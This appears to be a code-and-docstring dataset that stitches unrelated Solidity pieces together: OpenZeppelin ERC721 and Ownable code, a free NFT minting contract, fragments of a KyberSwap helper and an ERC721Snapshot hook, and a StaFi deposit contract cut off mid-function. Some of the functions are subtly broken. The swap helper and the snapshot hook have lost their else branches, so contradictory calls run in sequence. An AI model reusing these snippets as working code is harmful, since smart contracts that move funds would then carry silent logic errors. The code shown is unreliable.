* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
* and stop existing when they are burned (`_burn`).
*/
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return _tokenOwners.contains(tokenId);
}
/**
* @dev Returns whether `spender` is allowed to manage `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner = ERC721.ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || ERC721.isApprovedForAll(owner, spender));
}
/**
* @dev Safely mints `tokenId` and transfers it to `to`.
*
* Requirements:
d*
* - `tokenId` must not exist.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
/**
* @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is
* forwarded in {IERC721Receiver-onERC721Received} to contract recipients.
*/
function _safeMint(address to, uint256 tokenId, bytes memory _data) internal virtual {
_mint(to, tokenId);
require(_checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Mints `tokenId` and transfers it to `to`.
*
* WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible
*
* Requirements:
*
* - `tokenId` must not exist.
* - `to` cannot be the zero address.
*
* Emits a {Transfer} event.
*/
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_holderTokens[to].add(tokenId);
_tokenOwners.set(tokenId, to);
emit Transfer(address(0), to, tokenId);
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual {
address owner = ERC721.ownerOf(tokenId); // internal owner
_beforeTokenTransfer(owner, address(0), tokenId);
// Clear approvals
_approve(address(0), tokenId);
// Clear metadata (if any)
if (bytes(_tokenURIs[tokenId]).length != 0) {
delete _tokenURIs[tokenId];
}
_holderTokens[owner].remove(tokenId);
_tokenOwners.remove(tokenId);
emit Transfer(owner, address(0), tokenId);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
* As opposed to {transferFrom}, this imposes no restrictions on msg.sender.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(address from, address to, uint256 tokenId) internal virtual {
require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); // internal owner
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
// Clear approvals from the previous owner
_approve(address(0), tokenId);
_holderTokens[from].remove(tokenId);
_holderTokens[to].add(tokenId);
_tokenOwners.set(tokenId, to);
emit Transfer(from, to, tokenId);
}
/**
* @dev Sets `_tokenURI` as the tokenURI of `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _setTokenURI(uint256 tokenId, string memory _tokenURI) internal virtual {
require(_exists(tokenId), "ERC721Metadata: URI set of nonexistent token");
_tokenURIs[tokenId] = _tokenURI;
}
/**
* @dev Internal function to set the base URI for all token IDs. It is
* automatically added as a prefix to the value returned in {tokenURI},
* or to the token ID if {tokenURI} is empty.
*/
function _setBaseURI(string memory baseURI_) internal virtual {
_baseURI = baseURI_;
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(address from, address to, uint256 tokenId, bytes memory _data)
private returns (bool)
{
if (!to.isContract()) {
return true;
}
bytes memory returndata = to.functionCall(abi.encodeWithSelector(
IERC721Receiver(to).onERC721Received.selector,
_msgSender(),
from,
tokenId,
_data
), "ERC721: transfer to non ERC721Receiver implementer");
bytes4 retval = abi.decode(returndata, (bytes4));
return (retval == _ERC721_RECEIVED);
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits an {Approval} event.
*/
function _approve(address to, uint256 tokenId) internal virtual {
_tokenApprovals[tokenId] = to;
emit Approval(ERC721.ownerOf(tokenId), to, tokenId); // internal owner
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 tokenId) internal virtual { }
}
// File: @openzeppelin/contracts/access/Ownable.sol
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
// KLOOT CONTRACT STARTS HERE
pragma solidity ^0.7.0;
pragma abicoder v2;
contract Kloot is ERC721, Ownable {
using SafeMath for uint256;
string public KLOOT_PROVENANCE = ""; // IPFS URL WILL BE ADDED WHEN KLOOT ARE ALL SOLD OUT
string public LICENSE_TEXT = ""; // IT IS WHAT IT SAYS
bool licenseLocked = false; // TEAM CAN'T EDIT THE LICENSE AFTER THIS GETS TRUE
uint256 public constant klootPrice = 0; // FREE
uint public constant maxKlootPurchase = 20;
uint256 public constant MAX_KLOOTS = 10000;
bool public saleIsActive = false;
mapping(uint => string) public klootNames;
// Reserve 120 KLOOTS for team - Giveaways/Prizes etc
uint public klootReserve = 120;
event klootNameChange(address _by, uint _tokenId, string _name);
event licenseisLocked(string _licenseText);
constructor() ERC721("KittyLoot", "KL") { }
function withdraw() public onlyOwner {
uint balance = address(this).balance;
msg.sender.transfer(balance);
}
function reserveKloots(address _to, uint256 _reserveAmount) public onlyOwner {
uint supply = totalSupply();
require(_reserveAmount > 0 && _reserveAmount <= klootReserve, "Not enough reserve left for team");
for (uint i = 0; i < _reserveAmount; i++) {
_safeMint(_to, supply + i);
}
klootReserve = klootReserve.sub(_reserveAmount);
}
function setProvenanceHash(string memory provenanceHash) public onlyOwner {
KLOOT_PROVENANCE = provenanceHash;
}
function setBaseURI(string memory baseURI) public onlyOwner {
_setBaseURI(baseURI);
}
function flipSaleState() public onlyOwner {
saleIsActive = !saleIsActive;
}
function tokensOfOwner(address _owner) external view returns(uint256[] memory ) {
uint256 tokenCount = balanceOf(_owner);
if (tokenCount == 0) {
// Return an empty array
return new uint256[](0);
} else {
uint256[] memory result = new uint256[](tokenCount);
uint256 index;
for (index = 0; index < tokenCount; index++) {
result[index] = tokenOfOwnerByIndex(_owner, index);
}
return result;
}
}
// Returns the license for tokens
function tokenLicense(uint _id) public view returns(string memory) {
require(_id < totalSupply(), "CHOOSE A KLOOT WITHIN RANGE");
return LICENSE_TEXT;
}
// Locks the license to prevent further changes
function lockLicense() public onlyOwner {
licenseLocked = true;
emit licenseisLocked(LICENSE_TEXT);
}
// Change the license
function changeLicense(string memory _license) public onlyOwner {
require(licenseLocked == false, "License already locked");
LICENSE_TEXT = _license;
}
function mintKloot(uint numberOfTokens) public payable {
require(saleIsActive, "Sale must be active to mint a Kloot");
require(numberOfTokens > 0 && numberOfTokens <= maxKlootPurchase, "Can only mint 20 tokens at a time");
require(totalSupply().add(numberOfTokens) <= MAX_KLOOTS, "Purchase would exceed max supply of Kloots");
require(msg.value >= klootPrice.mul(numberOfTokens), "Ether value sent is not correct");
for(uint i = 0; i < numberOfTokens; i++) {
uint mintIndex = totalSupply();
if (totalSupply() < MAX_KLOOTS) {
_safeMint(msg.sender, mintIndex);
}
}
}
function changeKlootName(uint _tokenId, string memory _name) public {
require(ownerOf(_tokenId) == msg.sender, "Hey, your wallet doesn't own this kloot!");
require(sha256(bytes(_name)) != sha256(bytes(klootNames[_tokenId])), "New name is same as the current one");
klootNames[_tokenId] = _name;
emit klootNameChange(msg.sender, _tokenId, _name);
}
function viewKlootName(uint _tokenId) public view returns( string memory ){
require( _tokenId < totalSupply(), "Choose a kloot within range" );
return klootNames[_tokenId];
}
// GET ALL KLOOT OF A WALLET AS AN ARRAY OF STRINGS. WOULD BE BETTER MAYBE IF IT RETURNED A STRUCT WITH ID-NAME MATCH
function klootNamesOfOwner(address _owner) external view returns(string[] memory ) {
uint256 tokenCount = balanceOf(_owner);
if (tokenCount == 0) {
// Return an empty array
return new string[](0);
} else {
string[] memory result = new string[](tokenCount);
uint256 index;
for (index = 0; index < tokenCount; index++) {
result[index] = klootNames[ tokenOfOwnerByIndex(_owner, index) ] ;
}
return result;
}
}
}
|
IPFS URL WILL BE ADDED WHEN KLOOT ARE ALL SOLD OUT
|
string public KLOOT_PROVENANCE = "";
| 13,398,555
|
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./full_match/42/0x4F6EbddBF9C29756D31E78Ef0F99F141ffb84051/sources/UnitTest/PreachersCompFiLqdtKyberSwapKovanAM.sol
|
************************************************************************** KyberSwap functions/ Swap from srcToken to destToken (including ether) If the source token is not ETH (ie. an ERC20 token), the user is required to first call the ERC20 approve function to give an allowance to the smart contract executing the transferFrom function. mitigate ERC20 Approve front-running attack, by initially setting allowance to 0 set the spender's token allowance to srcQty
|
function executeKyberSwap( address SrcToken, uint256 srcQty, address DestToken,
address payable destAddress )
public returns ( uint256 ) {
ISimpleKyberProxy cSimpleKyberProxy = ISimpleKyberProxy( kKyberNetworkProxy );
IKyberNetworkProxy cKyberProxy = IKyberNetworkProxy( kKyberNetworkProxy );
ERC20 cSrcToken = ERC20(SrcToken);
ERC20 cDestToken = ERC20(DestToken);
uint256 destAmount = 0;
uint256 minConversionRate = 0;
( minConversionRate, ) =
cKyberProxy.getExpectedRate( cSrcToken, cDestToken, srcQty );
if (SrcToken == kETH) {
require(cSrcToken.approve(destAddress, 0), "approval to 0 failed");
require(cSrcToken.approve(destAddress, srcQty), "approval to srcQty failed");
emit ApprovedSrcSwap( SrcToken, srcQty, minConversionRate );
if (DestToken == kETH) {
destAmount = cSimpleKyberProxy.swapTokenToEther(cSrcToken, srcQty, minConversionRate);
destAmount = cSimpleKyberProxy.swapTokenToToken( cSrcToken, srcQty, cDestToken, minConversionRate);
}
}
emit KyberSwapped( address(cSrcToken), srcQty, address(cDestToken), destAmount, minConversionRate );
return destAmount;
}
event ChangedOwner( address payable owner, address payable newOwner );
event Liquidated( address account, address token, uint256 amount );
event PassThru( uint256 liquidateampount );
event Withdrawn( address token, uint256 amount );
event Borrowed( address tokenborrowed, uint256 amount );
event Received( address, uint );
event KyberSwapped( address fromtoken, uint256 fromamount, address totoken, uint256 toamount, uint256 minConversionRate );
event MinKyberConversionRate(uint256 srcQty, uint256 minConversionRate );
event ApprovedSrcSwap( address SrcToken, uint256 srcQty, uint256 minConversionRate );
event ExpectedRate( uint256 minConversionRate );
event DebugLineNo( uint uiLineNo );
| 16,219,751
|
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./full_match/1/0xe9c37E156319881B294c49006b67B372E2a7caE7/sources/project_/contracts/ERC721Snapshot.sol
|
Update balance and/or total supply snapshots before the values are modified. This is implemented in the _beforeTokenTransfer hook, which is executed for _mint, _burn, and _transfer operations. mint burn transfer
|
function _beforeTokenTransfer(address from, address to, uint256 tokenId, uint256 batchSize) internal virtual override(ERC721, ERC721Enumerable) {
super._beforeTokenTransfer(from, to, tokenId, batchSize);
if (from == address(0)) {
_updateAccountSnapshot(to);
_updateTotalSupplySnapshot();
_updateAccountSnapshot(from);
_updateTotalSupplySnapshot();
_updateAccountSnapshot(from);
_updateAccountSnapshot(to);
}
}
| 4,952,808
|
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./full_match/100/0xb091087E865d200c622241D1BC00A67Dd465e083/sources/contracts/rari-fuse/src/core/RewardsDistributorStorage.sol
|
@notice Rewards per block that each market currently receives
|
mapping(address => uint256) public compBorrowSpeeds;
| 14,286,975
|
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/**
*Submitted for verification at Etherscan.io on 2022-01-18
*/
pragma solidity 0.6.12;
// SPDX-License-Identifier: GPL-3.0-only
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
interface IStafiStorage {
// Getters
function getAddress(bytes32 _key) external view returns (address);
function getUint(bytes32 _key) external view returns (uint);
function getString(bytes32 _key) external view returns (string memory);
function getBytes(bytes32 _key) external view returns (bytes memory);
function getBool(bytes32 _key) external view returns (bool);
function getInt(bytes32 _key) external view returns (int);
function getBytes32(bytes32 _key) external view returns (bytes32);
// Setters
function setAddress(bytes32 _key, address _value) external;
function setUint(bytes32 _key, uint _value) external;
function setString(bytes32 _key, string calldata _value) external;
function setBytes(bytes32 _key, bytes calldata _value) external;
function setBool(bytes32 _key, bool _value) external;
function setInt(bytes32 _key, int _value) external;
function setBytes32(bytes32 _key, bytes32 _value) external;
// Deleters
function deleteAddress(bytes32 _key) external;
function deleteUint(bytes32 _key) external;
function deleteString(bytes32 _key) external;
function deleteBytes(bytes32 _key) external;
function deleteBool(bytes32 _key) external;
function deleteInt(bytes32 _key) external;
function deleteBytes32(bytes32 _key) external;
}
abstract contract StafiBase {
// Version of the contract
uint8 public version;
// The main storage contract where primary persistant storage is maintained
IStafiStorage stafiStorage = IStafiStorage(0);
/**
* @dev Throws if called by any sender that doesn't match a network contract
*/
modifier onlyLatestNetworkContract() {
require(getBool(keccak256(abi.encodePacked("contract.exists", msg.sender))), "Invalid or outdated network contract");
_;
}
/**
* @dev Throws if called by any sender that doesn't match one of the supplied contract or is the latest version of that contract
*/
modifier onlyLatestContract(string memory _contractName, address _contractAddress) {
require(_contractAddress == getAddress(keccak256(abi.encodePacked("contract.address", _contractName))), "Invalid or outdated contract");
_;
}
/**
* @dev Throws if called by any sender that isn't a trusted node
*/
modifier onlyTrustedNode(address _nodeAddress) {
require(getBool(keccak256(abi.encodePacked("node.trusted", _nodeAddress))), "Invalid trusted node");
_;
}
/**
* @dev Throws if called by any sender that isn't a registered staking pool
*/
modifier onlyRegisteredStakingPool(address _stakingPoolAddress) {
require(getBool(keccak256(abi.encodePacked("stakingpool.exists", _stakingPoolAddress))), "Invalid staking pool");
_;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(roleHas("owner", msg.sender), "Account is not the owner");
_;
}
/**
* @dev Modifier to scope access to admins
*/
modifier onlyAdmin() {
require(roleHas("admin", msg.sender), "Account is not an admin");
_;
}
/**
* @dev Modifier to scope access to admins
*/
modifier onlySuperUser() {
require(roleHas("owner", msg.sender) || roleHas("admin", msg.sender), "Account is not a super user");
_;
}
/**
* @dev Reverts if the address doesn't have this role
*/
modifier onlyRole(string memory _role) {
require(roleHas(_role, msg.sender), "Account does not match the specified role");
_;
}
/// @dev Set the main Storage address
constructor(address _stafiStorageAddress) public {
// Update the contract address
stafiStorage = IStafiStorage(_stafiStorageAddress);
}
/// @dev Get the address of a network contract by name
function getContractAddress(string memory _contractName) internal view returns (address) {
// Get the current contract address
address contractAddress = getAddress(keccak256(abi.encodePacked("contract.address", _contractName)));
// Check it
require(contractAddress != address(0x0), "Contract not found");
// Return
return contractAddress;
}
/// @dev Get the name of a network contract by address
function getContractName(address _contractAddress) internal view returns (string memory) {
// Get the contract name
string memory contractName = getString(keccak256(abi.encodePacked("contract.name", _contractAddress)));
// Check it
require(keccak256(abi.encodePacked(contractName)) != keccak256(abi.encodePacked("")), "Contract not found");
// Return
return contractName;
}
/// @dev Storage get methods
function getAddress(bytes32 _key) internal view returns (address) { return stafiStorage.getAddress(_key); }
function getUint(bytes32 _key) internal view returns (uint256) { return stafiStorage.getUint(_key); }
function getString(bytes32 _key) internal view returns (string memory) { return stafiStorage.getString(_key); }
function getBytes(bytes32 _key) internal view returns (bytes memory) { return stafiStorage.getBytes(_key); }
function getBool(bytes32 _key) internal view returns (bool) { return stafiStorage.getBool(_key); }
function getInt(bytes32 _key) internal view returns (int256) { return stafiStorage.getInt(_key); }
function getBytes32(bytes32 _key) internal view returns (bytes32) { return stafiStorage.getBytes32(_key); }
function getAddressS(string memory _key) internal view returns (address) { return stafiStorage.getAddress(keccak256(abi.encodePacked(_key))); }
function getUintS(string memory _key) internal view returns (uint256) { return stafiStorage.getUint(keccak256(abi.encodePacked(_key))); }
function getStringS(string memory _key) internal view returns (string memory) { return stafiStorage.getString(keccak256(abi.encodePacked(_key))); }
function getBytesS(string memory _key) internal view returns (bytes memory) { return stafiStorage.getBytes(keccak256(abi.encodePacked(_key))); }
function getBoolS(string memory _key) internal view returns (bool) { return stafiStorage.getBool(keccak256(abi.encodePacked(_key))); }
function getIntS(string memory _key) internal view returns (int256) { return stafiStorage.getInt(keccak256(abi.encodePacked(_key))); }
function getBytes32S(string memory _key) internal view returns (bytes32) { return stafiStorage.getBytes32(keccak256(abi.encodePacked(_key))); }
/// @dev Storage set methods
function setAddress(bytes32 _key, address _value) internal { stafiStorage.setAddress(_key, _value); }
function setUint(bytes32 _key, uint256 _value) internal { stafiStorage.setUint(_key, _value); }
function setString(bytes32 _key, string memory _value) internal { stafiStorage.setString(_key, _value); }
function setBytes(bytes32 _key, bytes memory _value) internal { stafiStorage.setBytes(_key, _value); }
function setBool(bytes32 _key, bool _value) internal { stafiStorage.setBool(_key, _value); }
function setInt(bytes32 _key, int256 _value) internal { stafiStorage.setInt(_key, _value); }
function setBytes32(bytes32 _key, bytes32 _value) internal { stafiStorage.setBytes32(_key, _value); }
function setAddressS(string memory _key, address _value) internal { stafiStorage.setAddress(keccak256(abi.encodePacked(_key)), _value); }
function setUintS(string memory _key, uint256 _value) internal { stafiStorage.setUint(keccak256(abi.encodePacked(_key)), _value); }
function setStringS(string memory _key, string memory _value) internal { stafiStorage.setString(keccak256(abi.encodePacked(_key)), _value); }
function setBytesS(string memory _key, bytes memory _value) internal { stafiStorage.setBytes(keccak256(abi.encodePacked(_key)), _value); }
function setBoolS(string memory _key, bool _value) internal { stafiStorage.setBool(keccak256(abi.encodePacked(_key)), _value); }
function setIntS(string memory _key, int256 _value) internal { stafiStorage.setInt(keccak256(abi.encodePacked(_key)), _value); }
function setBytes32S(string memory _key, bytes32 _value) internal { stafiStorage.setBytes32(keccak256(abi.encodePacked(_key)), _value); }
/// @dev Storage delete methods
function deleteAddress(bytes32 _key) internal { stafiStorage.deleteAddress(_key); }
function deleteUint(bytes32 _key) internal { stafiStorage.deleteUint(_key); }
function deleteString(bytes32 _key) internal { stafiStorage.deleteString(_key); }
function deleteBytes(bytes32 _key) internal { stafiStorage.deleteBytes(_key); }
function deleteBool(bytes32 _key) internal { stafiStorage.deleteBool(_key); }
function deleteInt(bytes32 _key) internal { stafiStorage.deleteInt(_key); }
function deleteBytes32(bytes32 _key) internal { stafiStorage.deleteBytes32(_key); }
function deleteAddressS(string memory _key) internal { stafiStorage.deleteAddress(keccak256(abi.encodePacked(_key))); }
function deleteUintS(string memory _key) internal { stafiStorage.deleteUint(keccak256(abi.encodePacked(_key))); }
function deleteStringS(string memory _key) internal { stafiStorage.deleteString(keccak256(abi.encodePacked(_key))); }
function deleteBytesS(string memory _key) internal { stafiStorage.deleteBytes(keccak256(abi.encodePacked(_key))); }
function deleteBoolS(string memory _key) internal { stafiStorage.deleteBool(keccak256(abi.encodePacked(_key))); }
function deleteIntS(string memory _key) internal { stafiStorage.deleteInt(keccak256(abi.encodePacked(_key))); }
function deleteBytes32S(string memory _key) internal { stafiStorage.deleteBytes32(keccak256(abi.encodePacked(_key))); }
/**
* @dev Check if an address has this role
*/
function roleHas(string memory _role, address _address) internal view returns (bool) {
return getBool(keccak256(abi.encodePacked("access.role", _role, _address)));
}
}
// Represents the type of deposits
enum DepositType {
None, // Marks an invalid deposit type
FOUR, // Require 4 ETH from the node operator to be matched with 28 ETH from user deposits
EIGHT, // Require 8 ETH from the node operator to be matched with 24 ETH from user deposits
TWELVE, // Require 12 ETH from the node operator to be matched with 20 ETH from user deposits
SIXTEEN, // Require 16 ETH from the node operator to be matched with 16 ETH from user deposits
Empty // Require 0 ETH from the node operator to be matched with 32 ETH from user deposits (trusted nodes only)
}
// Represents a stakingpool's status within the network
enum StakingPoolStatus {
Initialized, // The stakingpool has been initialized and is awaiting a deposit of user ETH
Prelaunch, // The stakingpool has enough ETH to begin staking and is awaiting launch by the node
Staking, // The stakingpool is currently staking
Withdrawn, // The stakingpool has been withdrawn from by the node
Dissolved // The stakingpool has been dissolved and its user deposited ETH has been returned to the deposit pool
}
interface IStafiStakingPool {
function getStatus() external view returns (StakingPoolStatus);
function getStatusBlock() external view returns (uint256);
function getStatusTime() external view returns (uint256);
function getDepositType() external view returns (DepositType);
function getNodeAddress() external view returns (address);
function getNodeFee() external view returns (uint256);
function getNodeDepositBalance() external view returns (uint256);
function getNodeRefundBalance() external view returns (uint256);
function getNodeDepositAssigned() external view returns (bool);
function getNodeCommonlyRefunded() external view returns (bool);
function getNodeTrustedRefunded() external view returns (bool);
function getUserDepositBalance() external view returns (uint256);
function getUserDepositAssigned() external view returns (bool);
function getUserDepositAssignedTime() external view returns (uint256);
function getPlatformDepositBalance() external view returns (uint256);
function nodeDeposit() external payable;
function userDeposit() external payable;
function stake(bytes calldata _validatorPubkey, bytes calldata _validatorSignature, bytes32 _depositDataRoot) external;
function refund() external;
function dissolve() external;
function close() external;
}
interface IStafiStakingPoolQueue {
function getTotalLength() external view returns (uint256);
function getLength(DepositType _depositType) external view returns (uint256);
function getTotalCapacity() external view returns (uint256);
function getEffectiveCapacity() external view returns (uint256);
function getNextCapacity() external view returns (uint256);
function enqueueStakingPool(DepositType _depositType, address _stakingPool) external;
function dequeueStakingPool() external returns (address);
function removeStakingPool() external;
}
interface IRETHToken {
function getEthValue(uint256 _rethAmount) external view returns (uint256);
function getRethValue(uint256 _ethAmount) external view returns (uint256);
function getExchangeRate() external view returns (uint256);
function getTotalCollateral() external view returns (uint256);
function getCollateralRate() external view returns (uint256);
function depositRewards() external payable;
function depositExcess() external payable;
function userMint(uint256 _ethAmount, address _to) external;
function userBurn(uint256 _rethAmount) external;
}
interface IStafiEther {
function balanceOf(address _contractAddress) external view returns (uint256);
function depositEther() external payable;
function withdrawEther(uint256 _amount) external;
}
interface IStafiEtherWithdrawer {
function receiveEtherWithdrawal() external payable;
}
interface IStafiUserDeposit {
function getBalance() external view returns (uint256);
function getExcessBalance() external view returns (uint256);
function deposit() external payable;
function recycleDissolvedDeposit() external payable;
function recycleWithdrawnDeposit() external payable;
function assignDeposits() external;
function withdrawExcessBalance(uint256 _amount) external;
}
// Accepts user deposits and mints rETH; handles assignment of deposited ETH to pools
contract StafiUserDeposit is StafiBase, IStafiUserDeposit, IStafiEtherWithdrawer {
// Libs
using SafeMath for uint256;
// Events
event DepositReceived(address indexed from, uint256 amount, uint256 time);
event DepositRecycled(address indexed from, uint256 amount, uint256 time);
event DepositAssigned(address indexed stakingPool, uint256 amount, uint256 time);
event ExcessWithdrawn(address indexed to, uint256 amount, uint256 time);
// Construct
constructor(address _stafiStorageAddress) StafiBase(_stafiStorageAddress) public {
version = 1;
// Initialize settings on deployment
if (!getBoolS("settings.user.deposit.init")) {
// Apply settings
setDepositEnabled(true);
setAssignDepositsEnabled(true);
setMinimumDeposit(0.01 ether);
// setMaximumDepositPoolSize(100000 ether);
setMaximumDepositAssignments(2);
// Settings initialized
setBoolS("settings.user.deposit.init", true);
}
}
// Current deposit pool balance
function getBalance() override public view returns (uint256) {
IStafiEther stafiEther = IStafiEther(getContractAddress("stafiEther"));
return stafiEther.balanceOf(address(this));
}
// Excess deposit pool balance (in excess of stakingPool queue capacity)
function getExcessBalance() override public view returns (uint256) {
// Get stakingPool queue capacity
IStafiStakingPoolQueue stafiStakingPoolQueue = IStafiStakingPoolQueue(getContractAddress("stafiStakingPoolQueue"));
uint256 stakingPoolCapacity = stafiStakingPoolQueue.getEffectiveCapacity();
// Calculate and return
uint256 balance = getBalance();
if (stakingPoolCapacity >= balance) { return 0; }
else { return balance.sub(stakingPoolCapacity); }
}
// Receive a ether withdrawal
// Only accepts calls from the StafiEther contract
function receiveEtherWithdrawal() override external payable onlyLatestContract("stafiUserDeposit", address(this)) onlyLatestContract("stafiEther", msg.sender) {}
// Accept a deposit from a user
function deposit() override external payable onlyLatestContract("stafiUserDeposit", address(this)) {
// Check deposit settings
require(getDepositEnabled(), "Deposits into Stafi are currently disabled");
require(msg.value >= getMinimumDeposit(), "The deposited amount is less than the minimum deposit size");
// require(getBalance().add(msg.value) <= getMaximumDepositPoolSize(), "The deposit pool size after depositing exceeds the maximum size");
// Load contracts
IRETHToken rETHToken = IRETHToken(getContractAddress("rETHToken"));
// Mint rETH to user account
